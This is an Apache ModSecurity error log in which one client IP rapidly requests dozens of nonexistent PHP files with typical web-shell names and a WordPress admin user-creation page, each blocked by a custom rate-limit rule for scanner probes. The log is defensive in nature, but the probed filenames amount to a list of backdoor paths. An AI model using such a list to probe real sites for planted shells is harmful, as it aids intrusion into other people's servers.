[Fri Feb 27 15:43:19.763026 2026] [:error] [pid 54231:tid 54258] [client 52.169.148.186:3877] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu9.php"] [unique_id "aaFLF-Tvb5AeyJCdY7DI8wAAAFg"]
[Fri Feb 27 15:43:20.267501 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:17153] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qoepq.php"] [unique_id "aaFLGIa650YPyxXVeRZT2AAAAYw"]
[Fri Feb 27 15:43:20.768089 2026] [:error] [pid 62998:tid 63009] [client 52.169.148.186:9235] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qoepq.php"] [unique_id "aaFLGFQeueXZDUmoLonnJwAAAQc"]
[Fri Feb 27 15:43:21.270570 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:3071] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qoepq.php"] [unique_id "aaFLGYa650YPyxXVeRZT2wAAAY8"]
[Fri Feb 27 15:43:21.771253 2026] [:error] [pid 54231:tid 54245] [client 52.169.148.186:2124] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/qoepq.php"] [unique_id "aaFLGeTvb5AeyJCdY7DI-AAAAEs"]
[Fri Feb 27 15:43:22.269929 2026] [:error] [pid 62998:tid 63014] [client 52.169.148.186:1955] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fodds.php"] [unique_id "aaFLGlQeueXZDUmoLonnKQAAAQw"]
[Fri Feb 27 15:43:22.771306 2026] [:error] [pid 56075:tid 56088] [client 52.169.148.186:1966] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fodds.php"] [unique_id "aaFLGsKBhrfI6KNv9RgdXwAAAAs"]
[Fri Feb 27 15:43:23.274452 2026] [:error] [pid 56075:tid 56079] [client 52.169.148.186:4710] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fodds.php"] [unique_id "aaFLG8KBhrfI6KNv9RgdYQAAAAI"]
[Fri Feb 27 15:43:23.775673 2026] [:error] [pid 52073:tid 52100] [client 52.169.148.186:4718] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fodds.php"] [unique_id "aaFLG4a650YPyxXVeRZT3QAAAZg"]
[Fri Feb 27 15:43:24.309494 2026] [:error] [pid 52073:tid 52098] [client 52.169.148.186:14683] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaigu.php"] [unique_id "aaFLHIa650YPyxXVeRZT3gAAAZY"]
[Fri Feb 27 15:43:24.838104 2026] [:error] [pid 52073:tid 52077] [client 52.169.148.186:17199] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaigu.php"] [unique_id "aaFLHIa650YPyxXVeRZT3wAAAYE"]
[Fri Feb 27 15:43:25.342703 2026] [:error] [pid 54231:tid 54244] [client 52.169.148.186:19053] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaigu.php"] [unique_id "aaFLHeTvb5AeyJCdY7DJAQAAAEo"]
[Fri Feb 27 15:43:25.842383 2026] [:error] [pid 52073:tid 52089] [client 52.169.148.186:4699] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaigu.php"] [unique_id "aaFLHYa650YPyxXVeRZT4QAAAY0"]
[Fri Feb 27 15:43:26.340535 2026] [:error] [pid 49306:tid 49315] [client 52.169.148.186:4727] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad2.php"] [unique_id "aaFLHvnSUDZue59Px9toCQAAAUc"]
[Fri Feb 27 15:43:26.845792 2026] [:error] [pid 54101:tid 54127] [client 52.169.148.186:2645] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad2.php"] [unique_id "aaFLHlY5qgRktcYTGFsdyAAAAdM"]
[Fri Feb 27 15:43:27.347457 2026] [:error] [pid 54101:tid 54120] [client 52.169.148.186:17374] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad2.php"] [unique_id "aaFLH1Y5qgRktcYTGFsdygAAAcw"]
[Fri Feb 27 15:43:27.879120 2026] [:error] [pid 56075:tid 56092] [client 52.169.148.186:6794] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad2.php"] [unique_id "aaFLH8KBhrfI6KNv9RgdZwAAAA4"]
[Fri Feb 27 15:43:28.381815 2026] [:error] [pid 54231:tid 54258] [client 52.169.148.186:4717] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aaFLIOTvb5AeyJCdY7DJBAAAAFg"]
[Fri Feb 27 15:43:28.914015 2026] [:error] [pid 54102:tid 54166] [client 52.169.148.186:19014] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aaFLIHi74D4fiYUm_GdEVQAAAJY"]
[Fri Feb 27 15:43:29.412663 2026] [:error] [pid 56075:tid 56096] [client 52.169.148.186:11592] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aaFLIcKBhrfI6KNv9RgdagAAABI"]
[Fri Feb 27 15:43:29.942769 2026] [:error] [pid 49306:tid 49309] [client 52.169.148.186:14708] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sad8rd1.php"] [unique_id "aaFLIfnSUDZue59Px9toFAAAAUE"]
[Fri Feb 27 15:43:30.443151 2026] [:error] [pid 52073:tid 52094] [client 52.169.148.186:2680] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaFLIoa650YPyxXVeRZT4wAAAZI"]
[Fri Feb 27 15:43:30.951892 2026] [:error] [pid 52073:tid 52076] [client 52.169.148.186:9221] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaFLIoa650YPyxXVeRZT5wAAAYA"]
[Fri Feb 27 15:43:31.485294 2026] [:error] [pid 49306:tid 49320] [client 52.169.148.186:18443] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaFLI_nSUDZue59Px9toFwAAAUw"]
[Fri Feb 27 15:43:32.021964 2026] [:error] [pid 52073:tid 52091] [client 52.169.148.186:17382] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/user-new.php"] [unique_id "aaFLJIa650YPyxXVeRZT7AAAAY8"]
[Fri Feb 27 15:43:32.525622 2026] [:error] [pid 54231:tid 54253] [client 52.169.148.186:9225] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asix.php"] [unique_id "aaFLJOTvb5AeyJCdY7DJBwAAAFM"]
[Fri Feb 27 15:43:33.033481 2026] [:error] [pid 54102:tid 54153] [client 52.169.148.186:19066] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asix.php"] [unique_id "aaFLJXi74D4fiYUm_GdEWQAAAIk"]
[Fri Feb 27 15:43:33.545971 2026] [:error] [pid 49306:tid 49327] [client 52.169.148.186:3392] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asix.php"] [unique_id "aaFLJfnSUDZue59Px9toGgAAAVM"]
[Fri Feb 27 15:43:34.070091 2026] [:error] [pid 56075:tid 56079] [client 52.169.148.186:6681] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asix.php"] [unique_id "aaFLJsKBhrfI6KNv9RgdcQAAAAI"]
[Fri Feb 27 15:43:34.611439 2026] [:error] [pid 56075:tid 56091] [client 52.169.148.186:19056] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gems.php"] [unique_id "aaFLJsKBhrfI6KNv9RgdcwAAAA0"]
[Fri Feb 27 15:43:35.137200 2026] [:error] [pid 49306:tid 49314] [client 52.169.148.186:1963] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gems.php"] [unique_id "aaFLJ_nSUDZue59Px9toIQAAAUY"]
[Fri Feb 27 15:43:35.641581 2026] [:error] [pid 49306:tid 49316] [client 52.169.148.186:11675] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gems.php"] [unique_id "aaFLJ_nSUDZue59Px9toIgAAAUg"]
[Fri Feb 27 15:43:36.139199 2026] [:error] [pid 49306:tid 49313] [client 52.169.148.186:3049] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gems.php"] [unique_id "aaFLKPnSUDZue59Px9toJAAAAUU"]
[Fri Feb 27 15:43:36.670241 2026] [:error] [pid 62998:tid 63008] [client 52.169.148.186:14688] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxd.php"] [unique_id "aaFLKFQeueXZDUmoLonnLAAAAQY"]
[Fri Feb 27 15:43:37.169839 2026] [:error] [pid 49306:tid 49309] [client 52.169.148.186:2686] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxd.php"] [unique_id "aaFLKfnSUDZue59Px9toKAAAAUE"]
[Fri Feb 27 15:43:37.677508 2026] [:error] [pid 49306:tid 49329] [client 52.169.148.186:17173] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxd.php"] [unique_id "aaFLKfnSUDZue59Px9toKQAAAVU"]
[Fri Feb 27 15:43:38.182285 2026] [:error] [pid 56075:tid 56080] [client 52.169.148.186:9273] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxd.php"] [unique_id "aaFLKsKBhrfI6KNv9RgdeAAAAAM"]
[Fri Feb 27 15:43:38.685792 2026] [:error] [pid 54103:tid 54187] [client 52.169.148.186:9223] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2sx.php"] [unique_id "aaFLKuvG4MPCmE0B2sBxGAAAANA"]
[Fri Feb 27 15:43:39.209966 2026] [:error] [pid 56075:tid 56094] [client 52.169.148.186:9269] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2sx.php"] [unique_id "aaFLK8KBhrfI6KNv9RgdfwAAABA"]
[Fri Feb 27 15:43:39.743283 2026] [:error] [pid 49306:tid 49324] [client 52.169.148.186:2625] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2sx.php"] [unique_id "aaFLK_nSUDZue59Px9toKwAAAVA"]
[Fri Feb 27 15:43:40.247751 2026] [:error] [pid 52073:tid 52099] [client 52.169.148.186:19032] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2sx.php"] [unique_id "aaFLLIa650YPyxXVeRZT8QAAAZc"]
[Fri Feb 27 15:43:40.769177 2026] [:error] [pid 49306:tid 49313] [client 52.169.148.186:6681] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaq.php"] [unique_id "aaFLLPnSUDZue59Px9toMAAAAUU"]
[Fri Feb 27 15:43:41.287492 2026] [:error] [pid 49306:tid 49330] [client 52.169.148.186:3889] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaq.php"] [unique_id "aaFLLfnSUDZue59Px9toMgAAAVY"]
[Fri Feb 27 15:43:41.796157 2026] [:error] [pid 62998:tid 63024] [client 52.169.148.186:4705] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaq.php"] [unique_id "aaFLLVQeueXZDUmoLonnLgAAARY"]
[Fri Feb 27 15:43:42.296486 2026] [:error] [pid 49306:tid 49312] [client 52.169.148.186:4712] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aaq.php"] [unique_id "aaFLLvnSUDZue59Px9toNgAAAUQ"]
[Fri Feb 27 15:43:42.798567 2026] [:error] [pid 54102:tid 54165] [client 52.169.148.186:9230] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaFLLni74D4fiYUm_GdEWgAAAJU"]
[Fri Feb 27 15:43:43.299342 2026] [:error] [pid 62998:tid 63012] [client 52.169.148.186:6836] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaFLL1QeueXZDUmoLonnMQAAAQo"]
[Fri Feb 27 15:43:43.828178 2026] [:error] [pid 49306:tid 49319] [client 52.169.148.186:2169] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaFLL_nSUDZue59Px9toOAAAAUs"]
[Fri Feb 27 15:43:44.353837 2026] [:error] [pid 49306:tid 49326] [client 52.169.148.186:18454] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aaFLMPnSUDZue59Px9toOgAAAVI"]
[Fri Feb 27 15:43:44.861592 2026] [:error] [pid 56075:tid 56080] [client 52.169.148.186:2136] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aaFLMMKBhrfI6KNv9RgdiwAAAAM"]
[Fri Feb 27 15:43:45.362807 2026] [:error] [pid 56075:tid 56078] [client 52.169.148.186:3291] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aaFLMcKBhrfI6KNv9RgdjAAAAAE"]
[Fri Feb 27 15:43:45.897155 2026] [:error] [pid 56075:tid 56102] [client 52.169.148.186:2162] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aaFLMcKBhrfI6KNv9RgdjgAAABg"]
[Fri Feb 27 15:43:46.408218 2026] [:error] [pid 52073:tid 52082] [client 52.169.148.186:7198] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aaFLMoa650YPyxXVeRZT9gAAAYY"]
[Fri Feb 27 15:43:46.910949 2026] [:error] [pid 52073:tid 52097] [client 52.169.148.186:6785] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aaFLMoa650YPyxXVeRZT-AAAAZU"]
[Fri Feb 27 15:43:47.411509 2026] [:error] [pid 56075:tid 56082] [client 52.169.148.186:17358] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aaFLM8KBhrfI6KNv9RgdjwAAAAU"]
[Fri Feb 27 15:43:47.914718 2026] [:error] [pid 52073:tid 52081] [client 52.169.148.186:2117] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aaFLM4a650YPyxXVeRZT_QAAAYU"]
